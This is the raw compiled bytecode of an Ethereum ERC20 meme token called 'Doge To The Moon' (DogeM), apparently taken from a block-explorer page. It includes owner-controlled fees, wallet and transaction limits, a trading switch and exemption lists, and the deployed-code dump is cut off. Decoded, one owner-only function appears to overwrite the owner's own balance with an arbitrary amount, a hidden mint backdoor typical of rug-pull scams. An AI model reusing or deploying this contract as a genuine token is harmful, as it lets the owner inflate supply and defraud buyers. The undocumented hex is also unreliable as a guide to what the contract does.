0190610cf19190613493565b50505050565b610d0033610968565b610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690613361565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60606040518060400160405280601081526020017f446f676520546f20546865204d6f6f6e00000000000000000000000000000000815250905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f7f338484611964565b6001905092915050565b610f9233610968565b610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890613361565b60405180910390fd5b6012600a610fdf9190613622565b81633b9aca00610fef919061366d565b66ffffffffffffff1661100291906136aa565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61107233610968565b6110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890613361565b60405180910390fd5b6110fe30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611759565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561116d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111919190613701565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561121a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123e9190613701565b6040518363ffffffff1660e01b815260040161125b92919061372e565b6020604051808303816000875af115801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190613701565b905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061132a30610ae2565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016113709695949392919061379c565b60606040518083038185885af115801561138e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113b391906137fd565b5050506001600760146101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161144e929190613455565b6020604051808303816000875af115801561146d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114919190613493565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61152533610968565b611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90613361565b60405180910390fd5b600061158f6127106115818660015461193890919063ffffffff16565b61194e90919063ffffffff16565b905060006115bc6127106115ae8660015461193890919063ffffffff16565b61194e90919063ffffffff16565b905060006115e96127106115db8660015461193890919063ffffffff16565b61194e90919063ffffffff16565b9050826018819055508160198190555080601a8190555060006116316103e86116236005611615610686565b61193890919063ffffffff16565b61194e90919063ffffffff16565b90508084101580156116435750808310155b801561164f5750808210155b61168e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611685906138c2565b60405180910390fd5b50505050505050565b6116a033610968565b6116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d690613361565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161174e9190613937565b60405180910390a150565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf906139c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182e90613a56565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119159190612f4e565b60405180910390a3505050565b600081836119309190613a76565b905092915050565b6000818361194691906136aa565b905092915050565b6000818361195c9190613ad9565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90613b7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990613c0e565b60405180910390fd5b611a4b83610ae2565b811115611a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8490613ca0565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b315750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8657600760149054906101000a900460ff16611b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7c90613d0c565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c2a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c845750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cbe575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5a57601a54611d1882600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f090919063ffffffff16565b1115611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613d78565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9d5760195481111580611e095750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e5d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9390613de4565b60405180910390fd5b5b60185481111580611ef75750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f4b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8190613de4565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156120315750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612051576001600860008282546120499190613e04565b925050819055505b61205c838383612506565b156120755761206c600b54612283565b60006008819055505b6120c781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006121168484612640565b612120578161212c565b61212b8484846126ee565b5b905061218081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f090919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122209190612f4e565b60405180910390a350505050565b6000838311158290612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d9190612e0e565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff02191690831515021790555060006122f160026122e3600f546122d5600e546122c76001600d546124f090919063ffffffff16565b6124f090919063ffffffff16565b6124f090919063ffffffff16565b61193890919063ffffffff16565b9050600061231c8261230e600d548661193890919063ffffffff16565b61194e90919063ffffffff16565b90506000612333828561192290919063ffffffff16565b90506000479050612343826128ac565b6000612358824761192290919063ffffffff16565b90506000612383612374600d548861192290919063ffffffff16565b8361194e90919063ffffffff16565b9050600061239c600d548361193890919063ffffffff16565b905060008111156123b2576123b18682612aef565b5b60006123dc600e546123ce60028661193890919063ffffffff16565b61193890919063ffffffff16565b9050600081111561245157601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561244f573d6000803e3d6000fd5b505b600047905060008111156124c957601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156124c7573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836124fe9190613e04565b905092915050565b600080600c5483101590506000600b5461251f30610ae2565b10159050600960009054906101000a900460ff1615801561254c5750600760159054906101000a900460ff165b80156125645750600760149054906101000a900460ff165b801561256d5750815b80156125c35750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561261c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b801561262c5750600a5460085410155b80156126355750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126e65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806126fb8585612bef565b11156128a15760006127336127108686612bef565b6127256014548661194e90919063ffffffff16565b61193890919063ffffffff16565b905061278781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128279190612f4e565b60405180910390a3600060105411801561284b57506010546128498686612bef565b115b15612886576128853061dead6128806010546128726014548961194e90919063ffffffff16565b61193890919063ffffffff16565b611964565b5b612899818461192290919063ffffffff16565b9150506128a5565b8190505b9392505050565b6000600267ffffffffffffffff8111156128c9576128c8613e38565b5b6040519080825280602002602001820160405280156128f75781602001602082028036833780820191505090505b509050308160008151811061290f5761290e613e67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129da9190613701565b816001815181106129ee576129ed613e67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a5530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611759565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612ab9959493929190613f54565b600060405180830381600087803b158015612ad357600080fd5b505af1158015612ae7573d6000803e3d6000fd5b505050505050565b612b1c30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611759565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612ba59695949392919061379c565b60606040518083038185885af1158015612bc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612be891906137fd565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c925750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cb457612cad606460145461192290919063ffffffff16565b9050612d78565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d13576012549050612d78565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d72576011549050612d78565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612db8578082015181840152602081019050612d9d565b60008484015250505050565b6000601f19601f8301169050919050565b6000612de082612d7e565b612dea8185612d89565b9350612dfa818560208601612d9a565b612e0381612dc4565b840191505092915050565b60006020820190508181036000830152612e288184612dd5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e6082612e35565b9050919050565b612e7081612e55565b8114612e7b57600080fd5b50565b600081359050612e8d81612e67565b92915050565b6000819050919050565b612ea681612e93565b8114612eb157600080fd5b50565b600081359050612ec381612e9d565b92915050565b60008060408385031215612ee057612edf612e30565b5b6000612eee85828601612e7e565b9250506020612eff85828601612eb4565b9150509250929050565b60008115159050919050565b612f1e81612f09565b82525050565b6000602082019050612f396000830184612f15565b92915050565b612f4881612e93565b82525050565b6000602082019050612f636000830184612f3f565b92915050565b600080600060608486031215612f8257612f81612e30565b5b6000612f9086828701612eb4565b9350506020612fa186828701612eb4565b9250506040612fb286828701612eb4565b9150509250925092565b600080600080600080600060e0888a031215612fdb57612fda612e30565b5b6000612fe98a828b01612eb4565b9750506020612ffa8a828b01612eb4565b965050604061300b8a828b01612eb4565b955050606061301c8a828b01612eb4565b945050608061302d8a828b01612eb4565b93505060a061303e8a828b01612eb4565b92505060c061304f8a828b01612eb4565b91505092959891949750929550565b60008060006060848603121561307757613076612e30565b5b600061308586828701612e7e565b935050602061309686828701612e7e565b92505060406130a786828701612eb4565b9150509250925092565b6000602082840312156130c7576130c6612e30565b5b60006130d584828501612e7e565b91505092915050565b600060ff82169050919050565b6130f4816130de565b82525050565b600060208201905061310f60008301846130eb565b92915050565b61311e81612f09565b811461312957600080fd5b50565b60008135905061313b81613115565b92915050565b6000806040838503121561315857613157612e30565b5b600061316685828601612e7e565b92505060206131778582860161312c565b9150509250929050565b61318a81612e55565b82525050565b60006020820190506131a56000830184613181565b92915050565b6000806000606084860312156131c4576131c3612e30565b5b60006131d286828701612e7e565b93505060206131e386828701612e7e565b92505060406131f486828701612e7e565b9150509250925092565b600066ffffffffffffff82169050919050565b61321a816131fe565b811461322557600080fd5b50565b60008135905061323781613211565b92915050565b60006020828403121561325357613252612e30565b5b600061326184828501613228565b91505092915050565b6000806040838503121561328157613280612e30565b5b600061328f85828601612e7e565b92505060206132a085828601612e7e565b9150509250929050565b60006132b582612e35565b9050919050565b6132c5816132aa565b81146132d057600080fd5b50565b6000813590506132e2816132bc565b92915050565b6000602082840312156132fe576132fd612e30565b5b600061330c848285016132d3565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061334b600683612d89565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b60006133dd602c83612d89565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b60008151905061342281612e9d565b92915050565b60006020828403121561343e5761343d612e30565b5b600061344c84828501613413565b91505092915050565b600060408201905061346a6000830185613181565b6134776020830184612f3f565b9392505050565b60008151905061348d81613115565b92915050565b6000602082840312156134a9576134a8612e30565b5b60006134b78482850161347e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561354657808604811115613522576135216134c0565b5b60018516156135315780820291505b808102905061353f856134ef565b9450613506565b94509492505050565b60008261355f576001905061361b565b8161356d576000905061361b565b8160018114613583576002811461358d576135bc565b600191505061361b565b60ff84111561359f5761359e6134c0565b5b8360020a9150848211156135b6576135b56134c0565b5b5061361b565b5060208310610133831016604e8410600b84101617156135f15782820a9050838111156135ec576135eb6134c0565b5b61361b565b6135fe84848460016134fc565b92509050818404811115613615576136146134c0565b5b81810290505b9392505050565b600061362d82612e93565b9150613638836130de565b92506136657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461354f565b905092915050565b6000613678826131fe565b9150613683836131fe565b9250828202613691816131fe565b91508082146136a3576136a26134c0565b5b5092915050565b60006136b582612e93565b91506136c083612e93565b92508282026136ce81612e93565b915082820484148315176136e5576136e46134c0565b5b5092915050565b6000815190506136fb81612e67565b92915050565b60006020828403121561371757613716612e30565b5b6000613725848285016136ec565b91505092915050565b60006040820190506137436000830185613181565b6137506020830184613181565b9392505050565b6000819050919050565b6000819050919050565b600061378661378161377c84613757565b613761565b612e93565b9050919050565b6137968161376b565b82525050565b600060c0820190506137b16000830189613181565b6137be6020830188612f3f565b6137cb604083018761378d565b6137d8606083018661378d565b6137e56080830185613181565b6137f260a0830184612f3f565b979650505050505050565b60008060006060848603121561381657613815612e30565b5b600061382486828701613413565b935050602061383586828701613413565b925050604061384686828701613413565b9150509250925092565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006138ac602e83612d89565b91506138b782613850565b604082019050919050565b600060208201905081810360008301526138db8161389f565b9050919050565b60006138fd6138f86138f384612e35565b613761565b612e35565b9050919050565b600061390f826138e2565b9050919050565b600061392182613904565b9050919050565b61393181613916565b82525050565b600060208201905061394c6000830184613928565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139ae602483612d89565b91506139b982613952565b604082019050919050565b600060208201905081810360008301526139dd816139a1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a40602283612d89565b9150613a4b826139e4565b604082019050919050565b60006020820190508181036000830152613a6f81613a33565b9050919050565b6000613a8182612e93565b9150613a8c83612e93565b9250828203905081811115613aa457613aa36134c0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ae482612e93565b9150613aef83612e93565b925082613aff57613afe613aaa565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613b66602583612d89565b9150613b7182613b0a565b604082019050919050565b60006020820190508181036000830152613b9581613b59565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf8602383612d89565b9150613c0382613b9c565b604082019050919050565b60006020820190508181036000830152613c2781613beb565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b6000613c8a603183612d89565b9150613c9582613c2e565b604082019050919050565b60006020820190508181036000830152613cb981613c7d565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613cf6600e83612d89565b9150613d0182613cc0565b602082019050919050565b60006020820190508181036000830152613d2581613ce9565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613d62601e83612d89565b9150613d6d82613d2c565b602082019050919050565b60006020820190508181036000830152613d9181613d55565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000613dce601183612d89565b9150613dd982613d98565b602082019050919050565b60006020820190508181036000830152613dfd81613dc1565b9050919050565b6000613e0f82612e93565b9150613e1a83612e93565b9250828201905080821115613e3257613e316134c0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ecb81612e55565b82525050565b6000613edd8383613ec2565b60208301905092915050565b6000602082019050919050565b6000613f0182613e96565b613f0b8185613ea1565b9350613f1683613eb2565b8060005b83811015613f47578151613f2e8882613ed1565b9750613f3983613ee9565b925050600181019050613f1a565b5085935050505092915050565b600060a082019050613f696000830188612f3f565b613f76602083018761378d565b8181036040830152613f888186613ef6565b9050613f976060830185613181565b613fa46080830184612f3f565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f6756108ab64b149442a5e1c251c4543a125d2ca5a5de1fe4a1b46a8bd196b264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c80637cca52fe116100d1578063a8aa1b311161008a578063c9567bf911610064578063c9567bf91461058c578063dd62ed3e146105a3578063dfa3a2e3146105e0578063f2fde38b146106095761018c565b8063a8aa1b31146104fb578063a9059cbb14610526578063b3441020146105635761018c565b80637cca52fe146103fd5780637d1db4a514610428578063893d20e8146104535780638cd4426d1461047e5780639213c358146104a757806395d89b41146104d05761018c565b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b1461035557806351bc3c851461037e57806370a082311461039557806378109e54146103d25761018c565b80632f54bf6e146102b0578063313ce567146102ed5780633f4218e0146103185761018c565b806306fdde031461018e578063095ea7b3146101b957806318160ddd146101f65780631b5faebb146102215780632331777d1461024a57806323b872dd146102735761018c565b3661018c57005b005b34801561019a57600080fd5b506101a3610632565b6040516101b09190612e0e565b60405180910390f35b3480156101c557600080fd5b506101e060048036038101906101db9190612ec9565b61066f565b6040516101ed9190612f24565b60405180910390f35b34801561020257600080fd5b5061020b610686565b6040516102189190612f4e565b60405180910390f35b34801561022d57600080fd5b5061024860048036038101906102439190612f69565b6106c7565b005b34801561025657600080fd5b50610271600480360381019061026c9190612fbc565b61077b565b005b34801561027f57600080fd5b5061029a6004803603810190610295919061305e565b61089d565b6040516102a79190612f24565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d291906130b1565b610968565b6040516102e49190612f24565b60405180910390f35b3480156102f957600080fd5b506103026109c1565b60405161030f91906130fa565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906130b1565b6109ca565b60405161034c9190612f24565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190613141565b6109ea565b005b34801561038a57600080fd5b50610393610a8d565b005b3480156103a157600080fd5b506103bc60048036038101906103b791906130b1565b610ae2565b6040516103c99190612f4e565b60405180910390f35b3480156103de57600080fd5b506103e7610b2b565b6040516103f49190612f4e565b60405180910390f35b34801561040957600080fd5b50610412610b31565b60405161041f9190612f4e565b60405180910390f35b34801561043457600080fd5b5061043d610b37565b60405161044a9190612f4e565b60405180910390f35b34801561045f57600080fd5b50610468610b3d565b6040516104759190613190565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a09190612ec9565b610b66565b005b3480156104b357600080fd5b506104ce60048036038101906104c991906131ab565b610cf7565b005b3480156104dc57600080fd5b506104e5610f0f565b6040516104f29190612e0e565b60405180910390f35b34801561050757600080fd5b50610510610f4c565b60405161051d9190613190565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612ec9565b610f72565b60405161055a9190612f24565b60405180910390f35b34801561056f57600080fd5b5061058a6004803603810190610585919061323d565b610f89565b005b34801561059857600080fd5b506105a1611069565b005b3480156105af57600080fd5b506105ca60048036038101906105c5919061326a565b611495565b6040516105d79190612f4e565b60405180910390f35b3480156105ec57600080fd5b5061060760048036038101906106029190612f69565b61151c565b005b34801561061557600080fd5b50610630600480360381019061062b91906132e8565b611697565b005b60606040518060400160405280600581526020017f446f67654d000000000000000000000000000000000000000000000000000000815250905090565b600061067c338484611759565b6001905092915050565b60006106c26106956000610ae2565b6106b46106a361dead610ae2565b60015461192290919063ffffffff16565b61192290919063ffffffff16565b905090565b6106d033610968565b61070f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070690613361565b60405180910390fd5b82600a81905550610740620186a06107328460015461193890919063ffffffff16565b61194e90919063ffffffff16565b600b81905550610770620186a06107628360015461193890919063ffffffff16565b61194e90919063ffffffff16565b600c81905550505050565b61078433610968565b6107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba90613361565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f8190555082601181905550816012819055508060138190555061080a600160145461194e90919063ffffffff16565b60115411158015610832575061082c600160145461194e90919063ffffffff16565b60125411155b8015610855575061084f600160145461194e90919063ffffffff16565b60135411155b610894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088b906133f3565b60405180910390fd5b50505050505050565b60006108aa848484611964565b61095d843361095885604051806060016040528060288152602001613faf60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222e9092919063ffffffff16565b611759565b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6109f333610968565b610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990613361565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610a9633610968565b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90613361565b60405180910390fd5b610ae0600b54612283565b565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b6f33610968565b610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590613361565b60405180910390fd5b6000610c4f6064610c41848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bf29190613190565b602060405180830381865afa158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c339190613428565b61193890919063ffffffff16565b61194e90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610cae929190613455565b6020604051808303816000875af1158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf19190613493565b50505050565b610d0033610968565b610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690613361565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff